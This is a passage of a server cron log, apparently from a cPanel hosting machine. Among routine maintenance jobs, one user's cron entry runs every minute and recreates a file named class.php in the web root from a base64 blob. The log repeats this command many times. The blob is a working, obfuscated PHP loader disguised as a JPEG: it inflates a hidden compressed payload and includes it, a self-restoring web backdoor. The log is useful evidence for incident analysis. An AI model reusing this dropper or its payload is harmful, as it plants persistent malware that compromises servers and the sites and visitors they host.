KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:01:01 server CROND[17680]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 05:01:01 server CROND[17681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:01:01 server CROND[17683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:01:01 server CROND[17682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:01:01 server run-parts(/etc/cron.hourly)[17680]: starting 0anacron
Sep  6 05:01:01 server run-parts(/etc/cron.hourly)[17704]: finished 0anacron
Sep  6 05:02:01 server CROND[18069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:02:01 server CROND[18070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:02:01 server CROND[18071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:03:01 server CROND[18545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:03:01 server CROND[18546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:03:01 server CROND[18547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:04:01 server CROND[18935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:04:01 server CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:04:01 server CROND[18937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:05:01 server CROND[19328]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 05:05:01 server CROND[19329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:05:01 server CROND[19331]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 05:05:01 server CROND[19332]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:05:01 server CROND[19337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:05:01 server CROND[19338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:05:01 server CROND[19335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:05:01 server CROND[19339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:05:01 server CROND[19336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:06:01 server CROND[20202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:06:01 server CROND[20203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:06:01 server CROND[20204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:07:01 server CROND[20613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:07:01 server CROND[20614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:07:01 server CROND[20615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:08:01 server CROND[21002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:08:01 server CROND[21003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:08:01 server CROND[21004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:09:01 server CROND[21478]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 05:09:01 server CROND[21480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:09:01 server CROND[21479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:09:01 server CROND[21487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:10:01 server CROND[21932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:10:01 server CROND[21935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:10:01 server CROND[21937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:10:01 server CROND[21933]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:10:01 server CROND[21934]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:10:01 server CROND[21938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:10:01 server CROND[21936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:10:01 server CROND[21939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:11:01 server CROND[22801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:11:01 server CROND[22796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:11:01 server CROND[22803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:12:01 server CROND[23330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:12:01 server CROND[23331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB